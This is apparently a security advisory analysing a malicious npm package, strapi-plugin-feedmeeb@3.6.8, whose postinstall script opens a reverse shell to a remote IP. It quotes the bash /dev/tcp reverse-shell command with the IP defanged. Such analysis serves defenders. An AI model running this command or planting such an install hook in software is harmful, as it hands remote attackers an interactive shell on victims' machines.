strapi-plugin-feedmeeb@3.6.8

Analysis

The package's postinstall hook (postinstall.js) opens a reverse shell to 14[.]225[.]210[.]85:80 using `bash -i >& /dev/tcp/14[.]225[.]210[.]85/80 0>&1`, retrying every 10 seconds up to 5 attempts and logging activity to /tmp/postinstall-revshell.log. The package ships no real plugin code — its main entry is the postinstall script, so installing it grants the remote host an interactive shell on the installer's machine.